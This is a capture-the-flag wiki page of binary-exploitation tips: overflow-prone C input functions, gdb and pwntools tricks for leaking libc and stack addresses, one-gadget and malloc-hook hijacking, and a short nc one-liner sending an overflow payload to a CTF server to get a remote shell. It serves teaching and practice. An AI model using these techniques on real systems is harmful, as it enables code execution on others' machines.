Skip to content

Pwn Tips

Jump to bottom Edit New page
Rahul Sridhar edited this page Feb 6, 2022 · 7 revisions

CTF-pwn-tips

Catalog

Overflow

Assume that: char buf[40] and signed int num

scanf

  • scanf("%s", buf)

    • %s doesn't have boundary check.
    • pwnable

  • scanf("%39s", buf)

    • %39s only takes 39 bytes from the input and puts NULL byte at the end of input.
    • useless

  • scanf("%40s", buf)

    • At first sight, it seems reasonable.(seems)
    • It takes 40 bytes from input, but it also puts NULL byte at the end of input.
    • Therefore, it has one-byte-overflow.
    • pwnable

  • scanf("%d", num)

    • Used with alloca(num)
      • Since alloca allocates memory from the stack frame of the caller, there is an instruction sub esp, eax to achieve that.
      • If we make num negative, it will have overlapped stack frame.
      • E.g. Seccon CTF quals 2016 cheer_msg
    • Use num to access some data structures
      • In most of the time, programs only check the higher bound and forget to make num unsigned.
      • Making num negative may let us overwrite some important data to control the world!

gets

  • gets(buf)

    • No boundary check.
    • pwnable

  • fgets(buf, 40, stdin)

    • It takes only 39 bytes from the input and puts NULL byte at the end of input.
    • useless

read

  • read(stdin, buf, 40)
    • It takes 40 bytes from the input, and it doesn't put NULL byte at the end of input.
    • It seems safe, but it may have information leak.
    • leakable

E.g.

memory layout

0x7fffffffdd00: 0x4141414141414141      0x4141414141414141
0x7fffffffdd10: 0x4141414141414141      0x4141414141414141
0x7fffffffdd20: 0x4141414141414141      0x00007fffffffe1cd

  • If there is a printf or puts used to output the buf, it will keep outputting until reaching NULL byte.

  • In this case, we can get 'A'*40 + '\xcd\xe1\xff\xff\xff\x7f'.

  • fread(stdin, buf, 1, 40)

    • Almost the same as read.
    • leakable

strcpy

Assume that there is another buffer: char buf2[60]

  • strcpy(buf, buf2)

    • No boundary check.
    • It copies the content of buf2(until reaching NULL byte) which may be longer than length(buf) to buf.
    • Therefore, it may happen overflow.
    • pwnable

  • strncpy(buf, buf2, 40)

    • It copies 40 bytes from buf2 to buf, but it won't put NULL byte at the end.
    • Since there is no NULL byte to terminate, it may have information leak.
    • leakable

strcat

Assume that there is another buffer: char buf2[60]

  • strcat(buf, buf2)

    • Of course, it may cause overflow if length(buf) isn't large enough.
    • It puts NULL byte at the end, it may cause one-byte-overflow.
    • In some cases, we can use this NULL byte to change stack address or heap address.
    • pwnable

  • strncat(buf, buf2, n)

Find string in gdb

In the problem of SSP, we need to find out the offset between argv[0] and the input buffer.

gdb

  • Use p/x ((char **)environ) in gdb, and the address of argv[0] will be the output - 0x10

E.g.

(gdb) p/x (char **)environ
$9 = 0x7fffffffde38
(gdb) x/gx 0x7fffffffde38-0x10
0x7fffffffde28: 0x00007fffffffe1cd
(gdb) x/s 0x00007fffffffe1cd
0x7fffffffe1cd: "/home/naetw/CTF/seccon2016/check/checker"

gdb peda

  • Use searchmem "/home/naetw/CTF/seccon2016/check/checker"
  • Then use searchmem $result_address 
gdb-peda$ searchmem "/home/naetw/CTF/seccon2016/check/checker"
Searching for '/home/naetw/CTF/seccon2016/check/checker' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0x7fffffffe1cd ("/home/naetw/CTF/seccon2016/check/checker")
[stack] : 0x7fffffffed7c ("/home/naetw/CTF/seccon2016/check/checker")
[stack] : 0x7fffffffefcf ("/home/naetw/CTF/seccon2016/check/checker")
gdb-peda$ searchmem 0x7fffffffe1cd
Searching for '0x7fffffffe1cd' in: None ranges
Found 2 results, display max 2 items:
   libc : 0x7ffff7dd33b8 --> 0x7fffffffe1cd ("/home/naetw/CTF/seccon2016/check/checker")
[stack] : 0x7fffffffde28 --> 0x7fffffffe1cd ("/home/naetw/CTF/seccon2016/check/checker")

Remote shell in nc

Sometimes you're working with nc instead of pwntools for whatever reason (maybe it's a pain to install on whatever machine you're working on), and you successfully trigger /bin/sh on your remote target. How do you actually interact with the remote shell through nc?

Here's how:

(python -c "import base64; print 'a'*52+'\xbe\xba\xfe\xca'" ; cat -) | nc pwnable.kr 9000

How this works: you pipe everything within the parentheses over the socket to the target. The first thing you send over is your python payload, and all subsequent things are determined by stdin (via cat -).

Binary Service

Normal:

  • ncat -vc ./binary -kl 127.0.0.1 $port

With specific library in two ways:

  • ncat -vc 'LD_PRELOAD=/path/to/libc.so ./binary' -kl 127.0.0.1 $port
  • ncat -vc 'LD_LIBRARY_PATH=/path/of/libc.so ./binary' -kl 127.0.0.1 $port

After this, you can connect to binary service by command nc localhost $port.

Find specific function offset in libc

If we leaked libc address of certain function successfully, we could use get libc base address by subtracting the offset of that function.

Manually

  • readelf -s $libc | grep ${function}@

E.g.

$ readelf -s libc-2.19.so | grep system@
    620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
   1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

Automatically

  • Use pwntools, then you can use it in your exploit script.

E.g.

from pwn import *

libc = ELF('libc.so')
system_off = libc.symbols['system']

Find '/bin/sh' or 'sh' in library

Need libc base address first

Manually

  • objdump -s libc.so | less then search 'sh'
  • strings -tx libc.so | grep /bin/sh

Automatically

E.g.

from pwn import *

libc = ELF('libc.so')
...
sh = base + next(libc.search('sh\x00'))
binsh = base + next(libc.search('/bin/sh\x00'))

Leak stack address

constraints:

  • Have already leaked libc base address
  • Can leak the content of arbitrary address

There is a symbol environ in libc, whose value is the same as the third argument of main function, char **envp. The value of char **envp is on the stack, thus we can leak stack address with this symbol.

(gdb) list 1
1       #include <stdlib.h>
2       #include <stdio.h>
3
4       extern char **environ;
5
6       int main(int argc, char **argv, char **envp)
7       {
8           return 0;
9       }
(gdb) x/gx 0x7ffff7a0e000 + 0x3c5f38
0x7ffff7dd3f38 <environ>:       0x00007fffffffe230
(gdb) p/x (char **)envp
$12 = 0x7fffffffe230
  • 0x7ffff7a0e000 is current libc base address
  • 0x3c5f38 is offset of environ in libc

This manual explains details about environ.

See this blogpost for other ways to leak addresses from various spaces.

Fork problem in gdb

When you use gdb to debug a binary with fork() function, you can use the following command to determine which process to follow (default is child):

  • set follow-fork-mode parent
  • set follow-fork-mode child

Secret of a mysterious section - .tls

constraints:

  • Need malloc function and you can malloc with arbitrary size
  • Arbitrary address leaking

We make malloc use mmap to allocate memory(size 0x21000 is enough). In general, these pages will be placed at the address just before .tls section.

There is some useful information on .tls, such as the address of main_arena, canary (value of stack guard), and a strange stack address which points to somewhere on the stack but with a fixed offset.

Before calling mmap:

7fecbfe4d000-7fecbfe51000 r--p 001bd000 fd:00 131210         /lib/x86_64-linux-gnu/libc-2.24.so
7fecbfe51000-7fecbfe53000 rw-p 001c1000 fd:00 131210         /lib/x86_64-linux-gnu/libc-2.24.so
7fecbfe53000-7fecbfe57000 rw-p 00000000 00:00 0
7fecbfe57000-7fecbfe7c000 r-xp 00000000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so
7fecc0068000-7fecc006a000 rw-p 00000000 00:00 0              <- .tls section
7fecc0078000-7fecc007b000 rw-p 00000000 00:00 0
7fecc007b000-7fecc007c000 r--p 00024000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so
7fecc007c000-7fecc007d000 rw-p 00025000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so

After call mmap:

7fecbfe4d000-7fecbfe51000 r--p 001bd000 fd:00 131210         /lib/x86_64-linux-gnu/libc-2.24.so
7fecbfe51000-7fecbfe53000 rw-p 001c1000 fd:00 131210         /lib/x86_64-linux-gnu/libc-2.24.so
7fecbfe53000-7fecbfe57000 rw-p 00000000 00:00 0
7fecbfe57000-7fecbfe7c000 r-xp 00000000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so
7fecc0045000-7fecc006a000 rw-p 00000000 00:00 0              <- memory of mmap + .tls section
7fecc0078000-7fecc007b000 rw-p 00000000 00:00 0
7fecc007b000-7fecc007c000 r--p 00024000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so
7fecc007c000-7fecc007d000 rw-p 00025000 fd:00 131206         /lib/x86_64-linux-gnu/ld-2.24.so

Predictable RNG(Random Number Generator)

When the binary uses the RNG to make the address of important information or sth, we can guess the same value if it's predictable.

Assuming that it's predictable, we can use ctypes which is a build-in module in Python.

ctypes allows calling a function in DLL(Dynamic-Link Library) or Shared Library.

Therefore, if binary has an init_proc like this:

srand(time(NULL));
while(addr <= 0x10000){
    addr = rand() & 0xfffff000;
}
secret = mmap(addr,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS ,-1,0);
if(secret == -1){
    puts("mmap error");
    exit(0);
}

Then we can use ctypes to get the same value of addr.

import ctypes
LIBC = ctypes.cdll.LoadLibrary('/path/to/dll')
LIBC.srand(LIBC.time(0))
addr = LIBC.rand() & 0xfffff000

Make stack executable

Use one-gadget-RCE instead of system

constraints:

  • Have libc base address
  • Write to arbitrary address

Almost every pwnable challenge needs to call system('/bin/sh') in the end of the exploit, but if we want to call that, we have to manipulate the parameters and, of course, hijack some functions to system. What if we can't manipulate the parameter?

Use one-gadget-RCE!

With one-gadget-RCE, we can just hijack .got.plt or something we can use to control eip to make program jump to one-gadget, but there are some constraints that need satisfying before using it.

There are lots of one-gadgets in libc. Each one has different constraints but those are similar. Each constraint is about the state of registers.

E.g.

  • ebx is the address of rw-p area of libc
  • [esp+0x34] == NULL

This one_gadget tool finds one-gadgets and the constraints for each. There's a good chance that one of the gadgets will already have its constraints satisfied, making the exploit much simpler.

Hijack hook function

constraints:

  • Have libc base address
  • Write to arbitrary address
  • The program uses malloc, free or realloc.
  • glibc version is earlier than 2.34

From manual:

The GNU C Library lets you modify the behavior of malloc, realloc, and free by specifying appropriate hook functions. You can use these hooks to help you debug programs that use dynamic memory allocation, for example.

There are hook variables declared in malloc.h and their default values are 0x0.

  • __malloc_hook
  • __free_hook
  • ...

Since they are used to help us debug programs, they are writable during the execution.

0xf77228e0 <__free_hook>:       0x00000000
0xf7722000 0xf7727000 rw-p      mapped

Let's look into the src of malloc.c. I will use __libc_free to demo.

void (*hook) (void *, const void *) = atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
    (*hook)(mem, RETURN_ADDRESS (0));
    return;
}

It checks the value of __free_hook. If it's not NULL, it will call the hook function first. Here, we would like to use one-gadget-RCE. Since hook function is called in the libc, the constraints of one-gadget are usually satisfied.

Use printf to trigger malloc and free

Look into the source of printf, there are several places which may trigger malloc. Take vfprintf.c line 1470 for example:

#define EXTSIZ 32
enum { WORK_BUFFER_SIZE = 1000 };

if (width >= WORK_BUFFER_SIZE - EXTSIZ)
{
    /* We have to use a special buffer.  */
    size_t needed = ((size_t) width + EXTSIZ) * sizeof (CHAR_T);
    if (__libc_use_alloca (needed))
        workend = (CHAR_T *) alloca (needed) + width + EXTSIZ;
    else
    {
        workstart = (CHAR_T *) malloc (needed);
        if (workstart == NULL)
        {
            done = -1;
            goto all_done;
        }
        workend = workstart + width + EXTSIZ;
    }
}

We can find that malloc will be triggered if the width field is large enough.(Of course, free will also be triggered at the end of printf if malloc has been triggered.) However, WORK_BUFFER_SIZE is not large enough, since we need to go to else block. Let's take a look at __libc_use_alloca and see what exactly the minimum size of width we should give.

/* Minimum size for a thread.  We are free to choose a reasonable value.  */
#define PTHREAD_STACK_MIN        16384

#define __MAX_ALLOCA_CUTOFF        65536

int __libc_use_alloca (size_t size)
{
    return (__builtin_expect (size <= PTHREAD_STACK_MIN / 4, 1)
        || __builtin_expect (__libc_alloca_cutoff (size), 1));
}

int __libc_alloca_cutoff (size_t size)
{
	return size <= (MIN (__MAX_ALLOCA_CUTOFF,
					THREAD_GETMEM (THREAD_SELF, stackblock_size) / 4
					/* The main thread, before the thread library is
						initialized, has zero in the stackblock_size
						element.  Since it is the main thread we can
						assume the maximum available stack space.  */
					?: __MAX_ALLOCA_CUTOFF * 4));
}

We have to make sure that:

  1. size > PTHREAD_STACK_MIN / 4
  2. size > MIN(__MAX_ALLOCA_CUTOFF, THREAD_GETMEM(THREAD_SELF, stackblock_size) / 4 ?: __MAX_ALLOCA_CUTOFF * 4)
    • I did not fully understand what exactly the function - THREAD_GETMEM do, but it seems that it mostly returns 0.
    • Therefore, the second condition is usually size > 65536

More details:

conclusion

  • The minimum size of width to trigger malloc & free is 65537 most of the time.
  • If there is a Format String Vulnerability and the program ends right after calling printf(buf), we can hijack __malloc_hook or __free_hook with one-gadget and use the trick mentioned above to trigger malloc & free then we can still get the shell even there is no more function call or sth after printf(buf).

Use execveat to open a shell

When it comes to opening a shell with system call, execve always pops up in mind. However, it's not always easily available due to the lack of gadgets or others constraints.
Actually, there is a system call, execveat, with following prototype:

int execveat(int dirfd, const char *pathname,
             char *const argv[], char *const envp[],
             int flags);

According to its man page, it operates in the same way as execve. As for the additional arguments, it mentions that:

If pathname is absolute, then dirfd is ignored.

Hence, if we make pathname point to "/bin/sh", and set argv, envp and flags to 0, we can still get a shell whatever the value of dirfd.

Finding libc base address

If you have a stack leak, chances are something on the stack will be a libc address at a constant offset. Do this with ASLR turned off:

info proc mappings will tell you where the heap, libc, etc. are mapped in memory.

Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x407000     0x7000        0x0 /mnt/hgfs/raywang/Dropbox (MIT)/CTFs/CSAW2017/zone
            0x606000           0x607000     0x1000     0x6000 /mnt/hgfs/raywang/Dropbox (MIT)/CTFs/CSAW2017/zone
            0x607000           0x608000     0x1000     0x7000 /mnt/hgfs/raywang/Dropbox (MIT)/CTFs/CSAW2017/zone
            0xae4000           0xb16000    0x32000        0x0 [heap]
      0x7f7da716b000     0x7f7da726e000   0x103000        0x0 /lib/x86_64-linux-gnu/libm-2.24.so
      0x7f7da726e000     0x7f7da746d000   0x1ff000   0x103000 /lib/x86_64-linux-gnu/libm-2.24.so
      0x7f7da746d000     0x7f7da746e000     0x1000   0x102000 /lib/x86_64-linux-gnu/libm-2.24.so
      0x7f7da746e000     0x7f7da746f000     0x1000   0x103000 /lib/x86_64-linux-gnu/libm-2.24.so
      0x7f7da746f000     0x7f7da7602000   0x193000        0x0 /lib/x86_64-linux-gnu/libc-2.24.so
      0x7f7da7602000     0x7f7da7802000   0x200000   0x193000 /lib/x86_64-linux-gnu/libc-2.24.so
      0x7f7da7802000     0x7f7da7806000     0x4000   0x193000 /lib/x86_64-linux-gnu/libc-2.24.so
      0x7f7da7806000     0x7f7da7808000     0x2000   0x197000 /lib/x86_64-linux-gnu/libc-2.24.so
      0x7f7da7808000     0x7f7da780c000     0x4000        0x0
      0x7f7da780c000     0x7f7da7822000    0x16000        0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7f7da7822000     0x7f7da7a21000   0x1ff000    0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7f7da7a21000     0x7f7da7a22000     0x1000    0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7f7da7a22000     0x7f7da7a23000     0x1000    0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7f7da7a23000     0x7f7da7b93000   0x170000        0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.24
      0x7f7da7b93000     0x7f7da7d93000   0x200000   0x170000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.24
      0x7f7da7d93000     0x7f7da7d9d000     0xa000   0x170000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.24
      0x7f7da7d9d000     0x7f7da7d9f000     0x2000   0x17a000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.24
      0x7f7da7d9f000     0x7f7da7da2000     0x3000        0x0
      0x7f7da7da2000     0x7f7da7dc5000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.24.so
      0x7f7da7f95000     0x7f7da7f99000     0x4000        0x0
      0x7f7da7fbe000     0x7f7da7fbf000     0x1000        0x0 /dev/zero (deleted)
      0x7f7da7fbf000     0x7f7da7fc0000     0x1000        0x0 /dev/zero (deleted)
      0x7f7da7fc0000     0x7f7da7fc1000     0x1000        0x0 /dev/zero (deleted)
      0x7f7da7fc1000     0x7f7da7fc2000     0x1000        0x0 /dev/zero (deleted)
      0x7f7da7fc2000     0x7f7da7fc5000     0x3000        0x0
      0x7f7da7fc5000     0x7f7da7fc6000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.24.so
      0x7f7da7fc6000     0x7f7da7fc7000     0x1000    0x24000 /lib/x86_64-linux-gnu/ld-2.24.so
      0x7f7da7fc7000     0x7f7da7fc8000     0x1000        0x0
      0x7ffdee783000     0x7ffdee7a4000    0x21000        0x0 [stack]
      0x7ffdee7f0000     0x7ffdee7f2000     0x2000        0x0 [vvar]
      0x7ffdee7f2000     0x7ffdee7f4000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

Subtract the libc base address from the leaked libc address to get a constant offset. Now, when you run with ASLR turned on, subtract the offset from the leak to get the base address.

Finding offsets

There's many ways to find offsets of strings/search libc.

If you have pwndbg, you can search memory with search /bin/sh.

In pwntools, hex(next(l.search("/bin/sh"))).

Basic tips for starting out on a binary

Turn ASLR off while you investigate a binary with GDB.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

If a heap problem, point voltron memory view at the heap, so you can see how it changes when you allocate data. If you want to quickly locate a chunk that you're interested in, write AAAAAAAAAAA to it and search AAAAAAAAA in pwndbg.

Pwntools

To attach gdb,

gdb.attach(process, '''
set disassembly-flavor intel
set height 0
b *0x40104f
c
''')

Debug Segfault

dmesg | tail

Add a custom footer
Add a custom sidebar
Clone this wiki locally